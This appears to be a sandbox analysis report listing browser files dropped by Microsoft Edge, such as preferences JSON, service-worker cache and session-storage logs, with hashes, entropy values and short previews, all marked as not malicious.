Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116915284291118
Encrypted:	false
SSDEEP:	192:stt+kdpPWsrYsZihUkpWKG8jbV+FQVQA66WraFIMYJPvYJ:stt+QusrYfhxzbG+Qx6WraTYq
MD5:	D2C4A6F9A75EF02951EFB808141A4B86
SHA1:	3CCBA8ED5B4AA48BC8744F61A45877B7A2C920B6
SHA-256:	7484A96C4938B8225531E28733E461644C9D5975D77A67FFFD934653BCF59E11
SHA-512:	A12D4AA106DA978B9AD2AAB084B2C1C223C579D015F726959280117A58F0191EB60EBD055378A4FDAF3EEB5F61FA530A151D45C1481B822B1C8740568DACBC9C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376794457319860","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3cbec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116915284291118
Encrypted:	false
SSDEEP:	192:stt+kdpPWsrYsZihUkpWKG8jbV+FQVQA66WraFIMYJPvYJ:stt+QusrYfhxzbG+Qx6WraTYq
MD5:	D2C4A6F9A75EF02951EFB808141A4B86
SHA1:	3CCBA8ED5B4AA48BC8744F61A45877B7A2C920B6
SHA-256:	7484A96C4938B8225531E28733E461644C9D5975D77A67FFFD934653BCF59E11
SHA-512:	A12D4AA106DA978B9AD2AAB084B2C1C223C579D015F726959280117A58F0191EB60EBD055378A4FDAF3EEB5F61FA530A151D45C1481B822B1C8740568DACBC9C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376794457319860","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40b08.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116915284291118
Encrypted:	false
SSDEEP:	192:stt+kdpPWsrYsZihUkpWKG8jbV+FQVQA66WraFIMYJPvYJ:stt+QusrYfhxzbG+Qx6WraTYq
MD5:	D2C4A6F9A75EF02951EFB808141A4B86
SHA1:	3CCBA8ED5B4AA48BC8744F61A45877B7A2C920B6
SHA-256:	7484A96C4938B8225531E28733E461644C9D5975D77A67FFFD934653BCF59E11
SHA-512:	A12D4AA106DA978B9AD2AAB084B2C1C223C579D015F726959280117A58F0191EB60EBD055378A4FDAF3EEB5F61FA530A151D45C1481B822B1C8740568DACBC9C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376794457319860","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48048.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116915284291118
Encrypted:	false
SSDEEP:	192:stt+kdpPWsrYsZihUkpWKG8jbV+FQVQA66WraFIMYJPvYJ:stt+QusrYfhxzbG+Qx6WraTYq
MD5:	D2C4A6F9A75EF02951EFB808141A4B86
SHA1:	3CCBA8ED5B4AA48BC8744F61A45877B7A2C920B6
SHA-256:	7484A96C4938B8225531E28733E461644C9D5975D77A67FFFD934653BCF59E11
SHA-512:	A12D4AA106DA978B9AD2AAB084B2C1C223C579D015F726959280117A58F0191EB60EBD055378A4FDAF3EEB5F61FA530A151D45C1481B822B1C8740568DACBC9C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376794457319860","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565804369151878
Encrypted:	false
SSDEEP:	768:+dtTPkWPv/f3O8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezTUQrwGo9pNtuy:+dtTPkWPv/f3Ou1jaznUhl5tN
MD5:	357D3266BCA1E1EEF8438ADF8F7DBB66
SHA1:	8DFBA75EF27C0382A759AFB12C2C6661A4234098
SHA-256:	37A9E9BDA7954AC7C6DF16ABC5F831CF6E45EA389D31E2FF49E8FA2E9E2D7896
SHA-512:	3B6F2EFDA07E2D5E1278D5B37172ADC663CC8D8308F65DD33F65E314EE2283D9B89898AE65E3A9F73F2EC4D81F02A3FC08012FA2C0B592026515B281D428C66C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376794456685463","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376794456685463","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3cbfc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565804369151878
Encrypted:	false
SSDEEP:	768:+dtTPkWPv/f3O8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezTUQrwGo9pNtuy:+dtTPkWPv/f3Ou1jaznUhl5tN
MD5:	357D3266BCA1E1EEF8438ADF8F7DBB66
SHA1:	8DFBA75EF27C0382A759AFB12C2C6661A4234098
SHA-256:	37A9E9BDA7954AC7C6DF16ABC5F831CF6E45EA389D31E2FF49E8FA2E9E2D7896
SHA-512:	3B6F2EFDA07E2D5E1278D5B37172ADC663CC8D8308F65DD33F65E314EE2283D9B89898AE65E3A9F73F2EC4D81F02A3FC08012FA2C0B592026515B281D428C66C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376794456685463","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376794456685463","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3f7fd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565804369151878
Encrypted:	false
SSDEEP:	768:+dtTPkWPv/f3O8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezTUQrwGo9pNtuy:+dtTPkWPv/f3Ou1jaznUhl5tN
MD5:	357D3266BCA1E1EEF8438ADF8F7DBB66
SHA1:	8DFBA75EF27C0382A759AFB12C2C6661A4234098
SHA-256:	37A9E9BDA7954AC7C6DF16ABC5F831CF6E45EA389D31E2FF49E8FA2E9E2D7896
SHA-512:	3B6F2EFDA07E2D5E1278D5B37172ADC663CC8D8308F65DD33F65E314EE2283D9B89898AE65E3A9F73F2EC4D81F02A3FC08012FA2C0B592026515B281D428C66C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376794456685463","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376794456685463","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.842034407819447
Encrypted:	false
SSDEEP:	24:F2xc5Nmxcncmo0CRORpllg2DzfRHkVdCRORpllg2Sc03osxzyXKCRORpllg2D2RV:F2emKtrdDzfBaXrdYxz1rdD2BfrdVBP
MD5:	5F28DEB0760A4A895BEF2ACEF5A5A058
SHA1:	B9C516518FF9AD31D1153A81670CDA3D3A50C75C
SHA-256:	3D15935ACEEE7261BE3BCE691071522005BAAD0536F6DE5A728A7CE82DFF2278
SHA-512:	591230E6F0AA862A71C769FE1450249D939423824EF00E7BFA42EAD528C84612F8CA6CAC85596D2B6368F35476F7F6AC58515D53AD954581F6447D8D4F470FB5
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.d.:m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.1615003815742435
Encrypted:	false
SSDEEP:	6:Hxk1923oH+TcwtE/a252KLlVxTw3+q2P923oH+TcwtE/a2ZIFUv:RJYeb8xLZg+v4Yeb8J2FUv
MD5:	76E9F3F7F9A61D120965DD27CC4C3A19
SHA1:	7A1227BCACE9EA6351038D34B3089C5A09327F69
SHA-256:	692E91F5CD0AEED23520FF4E00407DCB8D6D304E99CC9391728E74D997AE497A
SHA-512:	9487BA40173C24671548025D51478433EC1C59D82C2EFB6B48DB5966F0AD381F3EB9615FE46FF8E0D2F35DA3E6904BE3CBDA7309C58D4368E3D6CAD689857009
Malicious:	false
Preview:	2024/11/22-19:14:33.254 1bbc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/22-19:14:33.265 1bbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.578279714272818
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgqm:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFF
MD5:	FB466BE96D50E865470DB356756D6820
SHA1:	A76E54E394646612AFD058E6C9FE335000903DCC
SHA-256:	05584777F385EB124A51F58AF3923D5CC562D25806878476DB5A8B620B1C65BF
SHA-512:	56DA32A8F32CAD4761D3867D9851F309ACF075AEBA7CB7138B51475A27942BDB88D98C408613BACAF1495BB513C5C0246E2BFDA6F4435AA5608798AA5DA77DC1
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188897
Entropy (8bit):	6.3842235717400735
Encrypted:	false
SSDEEP:	3072:kjKOALc8Dmilw+aNiPKL/ActME9tic4D1vejyab:00lwziCL/93ycr2w
MD5:	46F99C187F744C848EE5F2A5A62E19FB
SHA1:	892132170D740677D68EDD05B0541FA8FCD1C306
SHA-256:	AFF51D5BCF69F0450926FF91AEA86C44A2CE3CF01D24F3552B757B0915F0E42E
SHA-512:	BB1E52BF83027E8A3B52DD3531EE7589B77EDC53327E32EA9C1AE1AE1913D41AF22BFE63259AA6E7CA3AAE367318058D66E4D686394520923D73F86B455B4E3C
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x..........,T.8..`,.....L`.....,T...`......L`......Rc........exports...RcN..-....module....Rc.......define....Rb.Vh.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:nDLH9Xl/ly/l9/lxE0tlla/lYEA+:9mO0gYa
MD5:	643C7824F8D76EF244A53A481EACE274
SHA1:	553776F3DAD68665E561FA14D839282263870940
SHA-256:	CCC75A795C1B34C65640ACE63DF7EF33AF9D602C2FE967976982382586FF32F8
SHA-512:	F590CDCD7300AC820271C374B19109DA1D96EACBC1F07890EBF46014AC2B0D447593A5DC177EF5FDC6D9B8094C276D0CA3ED70A99F9AE7EA867E735D0659850F
Malicious:	false
Preview:	@...Rn..oy retne.........................X....,................'!.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:nDLH9Xl/ly/l9/lxE0tlla/lYEA+:9mO0gYa
MD5:	643C7824F8D76EF244A53A481EACE274
SHA1:	553776F3DAD68665E561FA14D839282263870940
SHA-256:	CCC75A795C1B34C65640ACE63DF7EF33AF9D602C2FE967976982382586FF32F8
SHA-512:	F590CDCD7300AC820271C374B19109DA1D96EACBC1F07890EBF46014AC2B0D447593A5DC177EF5FDC6D9B8094C276D0CA3ED70A99F9AE7EA867E735D0659850F
Malicious:	false
Preview:	@...Rn..oy retne.........................X....,................'!.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF4027d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:nDLH9Xl/ly/l9/lxE0tlla/lYEA+:9mO0gYa
MD5:	643C7824F8D76EF244A53A481EACE274
SHA1:	553776F3DAD68665E561FA14D839282263870940
SHA-256:	CCC75A795C1B34C65640ACE63DF7EF33AF9D602C2FE967976982382586FF32F8
SHA-512:	F590CDCD7300AC820271C374B19109DA1D96EACBC1F07890EBF46014AC2B0D447593A5DC177EF5FDC6D9B8094C276D0CA3ED70A99F9AE7EA867E735D0659850F
Malicious:	false
Preview:	@...Rn..oy retne.........................X....,................'!.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6521
Entropy (8bit):	3.3968140265637974
Encrypted:	false
SSDEEP:	192:H4cgCQc0Nh9Xp+h1+igDn05SLl9iSrjnC:/Qc0D9Xp+D+g5SLl9iSrT
MD5:	62654FC043E14975135117EBDC33EA6C
SHA1:	A765E3C16E274D54C4317D7A75D891F0E443ABC8
SHA-256:	5C15B393EAAF2FB89FD85CBC1AB2A626176226691256F506C9722D41F0A4EFE4
SHA-512:	FDB778E2F8A7BBC6021C85EEA3EDC3341A28F417ED27395858FAEF4436861E7737ED76560EA3CE592E32070377E88A062E9EA8893B4C7ACEB8E07F9038D98191
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...................b................next-map-id.1.Cnamespace-72b63f8e_eadf_45b8_b230_7499bb1d9997-https://ntp.msn.com/.0...4................map-0-shd_sweeper.0{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.a.d.-.s.t.a.b.-.b.n.,.p.r.g.-.s.t.a.b.-.b.n.,.p.r.g.-.1.s.-.d.w.v.i.d.-.t.1.,.1.s.-.p.1.-.d.w.l.s.,.1.s.-.p.2.-.d.w.l.s.,.p.r.g.-.1.s.w.-.n.o.c.o.o.l.d.o.w.n.,.p.r.g.-.p.r.1.-.v.i.d.e.o.s.,.p.r.g.-.p.r.2.-.v.i.d.e.o.s.,.p.r.g.-.v.i.d.-.d.w.l.s.c.a.c.h.e.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.,.1.s.-.a.c.t.n.t.h.i.s.d.a.y.,.p.r.g.-.1.s.w.-.o.t.d.s.g.p.r.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.2.k.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.s.p.4.-.t.6.v.2.,.p.r.e.p.r.g.-.1.s.w.-.s.a.l.3.u.i.c.d.b.f.c.,.p.r.g.-.1.s.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.0691525327243685
Encrypted:	false
SSDEEP:	6:HI4q2P923oH+TcwtrQMxIFUt8YLJZmw+YSDkwO923oH+TcwtrQMFLJ:Xv4YebCFUt8+/+J5LYebtJ
MD5:	5361D001BDEBF8B2BB5C50B4C0CE97D5
SHA1:	0A74ACAACF857136D4C6AFD9A7FD49EC26DC4B61
SHA-256:	F83AC5B75F0486E367C7E3D894046DADFE71853133C8C36CAE7FD3E4AC1DB08C
SHA-512:	7357B26E77D2C4723356F014546612D90BD57A3217DCF306A329C6A51C1ED2125F7EA3251686521422F2ECD7EC0BA3DC2431A459EAC6FA20D9459AA17C75AFFA
Malicious:	false
Preview:	2024/11/22-19:14:17.412 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-19:14:17.413 1e40 Recovering log #3.2024/11/22-19:14:17.418 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.0691525327243685
Encrypted:	false
SSDEEP:	6:HI4q2P923oH+TcwtrQMxIFUt8YLJZmw+YSDkwO923oH+TcwtrQMFLJ:Xv4YebCFUt8+/+J5LYebtJ
MD5:	5361D001BDEBF8B2BB5C50B4C0CE97D5
SHA1:	0A74ACAACF857136D4C6AFD9A7FD49EC26DC4B61
SHA-256:	F83AC5B75F0486E367C7E3D894046DADFE71853133C8C36CAE7FD3E4AC1DB08C
SHA-512:	7357B26E77D2C4723356F014546612D90BD57A3217DCF306A329C6A51C1ED2125F7EA3251686521422F2ECD7EC0BA3DC2431A459EAC6FA20D9459AA17C75AFFA
Malicious:	false
Preview:	2024/11/22-19:14:17.412 1e40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-19:14:17.413 1e40 Recovering log #3.2024/11/22-19:14:17.418 1e40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

